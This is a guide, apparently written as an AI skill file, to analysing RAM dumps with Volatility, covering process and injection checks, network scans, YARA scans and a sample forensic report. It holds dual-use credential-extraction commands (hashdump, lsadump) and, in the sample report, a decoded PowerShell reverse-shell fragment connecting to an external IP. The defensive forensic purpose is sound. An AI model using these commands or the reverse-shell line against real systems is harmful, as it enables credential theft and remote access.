| name | analyzing-memory-dumps-with-volatility |
| description | 'Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection detection, or memory-resident malware investigation. ' |
| domain | cybersecurity |
| subdomain | malware-analysis |
| tags | - malware - memory-forensics - Volatility - RAM-analysis - incident-response |
| mitre_attack | - T1055 - T1003 - T1059 - T1620 |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - DE.AE-02 - RS.AN-03 - ID.RA-01 - DE.CM-01 |
Analyzing Memory Dumps with Volatility
When to Use
- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
- Detecting fileless malware that exists only in memory without persistent disk artifacts
- Extracting encryption keys, passwords, or decrypted configuration from process memory
- Identifying process injection, DLL injection, or process hollowing in a compromised system
- Analyzing rootkit activity that hides from standard disk-based forensic tools
Do not use for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.
Prerequisites
- Volatility 3 installed (
pip install volatility3) with symbol tables for target OS
- Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
- Knowledge of the source OS version for correct profile/symbol selection
- Sufficient disk space (memory dumps can be 4-64 GB)
- YARA rules for scanning memory for known malware signatures
- Strings utility for extracting readable strings from memory regions
Workflow
Step 1: Identify the Memory Dump Profile
Determine the operating system and version from the memory dump:
vol3 -f memory.dmp windows.info
vol3 -f memory.dmp --help
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
Step 2: Enumerate Running Processes
List all processes and identify suspicious entries:
vol3 -f memory.dmp windows.pslist
vol3 -f memory.dmp windows.pstree
vol3 -f memory.dmp windows.psscan
vol3 -f memory.dmp windows.pslist --dump
Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)
Step 3: Detect Malicious Code Injection
Scan for injected code and process hollowing:
vol3 -f memory.dmp windows.malfind
vol3 -f memory.dmp windows.malfind --dump --pid 2184
vol3 -f memory.dmp windows.dlllist --pid 2184
vol3 -f memory.dmp windows.hollowfind
vol3 -f memory.dmp windows.driverscan
vol3 -f memory.dmp windows.modules
Step 4: Analyze Network Connections
Extract active and closed network connections:
vol3 -f memory.dmp windows.netscan
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
vol3 -f memory.dmp windows.netstat
Step 5: Extract Artifacts and Credentials
Recover sensitive data from memory:
vol3 -f memory.dmp windows.memmap --dump --pid 2184
vol3 -f memory.dmp windows.cmdline
vol3 -f memory.dmp windows.envars --pid 2184
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
vol3 -f memory.dmp windows.clipboard
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
Step 6: Scan Memory with YARA Rules
Apply YARA signatures to detect known malware in memory:
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
Step 7: Timeline and Report Generation
Create an analysis timeline and compile findings:
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
vol3 -f memory.dmp windows.netscan --output csv > network.csv
Key Concepts
| Term | Definition |
|---|
| Memory Forensics | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk |
| Process Hollowing | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution |
| Malfind | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs |
| VAD (Virtual Address Descriptor) | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing |
| EPROCESS | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools |
| Pool Tag Scanning | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked |
| Fileless Malware | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics |
Tools & Systems
- Volatility 3: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
- WinPmem: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
- LiME (Linux Memory Extractor): Loadable kernel module for capturing Linux system memory dumps
- Rekall: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
- MemProcFS: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis
Common Scenarios
Scenario: Detecting Fileless Malware After EDR Alert
Context: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.
Approach:
- Run
windows.pstree to identify the process chain (which process spawned PowerShell)
- Run
windows.malfind to detect injected code in running processes
- Dump the suspicious process memory and extract strings for C2 URLs
- Run
windows.netscan to identify network connections from the compromised processes
- Run
windows.cmdline to see what commands PowerShell executed
- Scan with YARA rules for known malware families in the dumped process memory
- Extract credentials with
hashdump and lsadump to assess lateral movement risk
Pitfalls:
- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
- Not comparing
pslist vs psscan output (missing rootkit-hidden processes)
- Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)
Output Format
MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File: memory.dmp
Dump Size: 16 GB
OS Version: Windows 10 21H2 (Build 19044)
Capture Tool: WinPmem 4.0
Capture Time: 2025-09-15 14:35:00 UTC
SUSPICIOUS PROCESSES
PID PPID Name Path Anomaly
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Child of fake svchost
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Spawned by PowerShell
CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
Address: 0x00400000 Size: 98304 Protection: PAGE_EXECUTE_READWRITE
Header: MZ (embedded PE detected)
SHA-256 of dump: abc123def456...
NETWORK CONNECTIONS
PID Process Local Foreign State
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }
TIMELINE
14:10:00 svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05 Network connection to 185.220.101.42:443 established
14:12:30 powershell.exe (PID 4012) spawned by svchost.exe
14:15:00 Code injection into explorer.exe (PID 852) detected
14:20:00 Credential dump from LSASS process
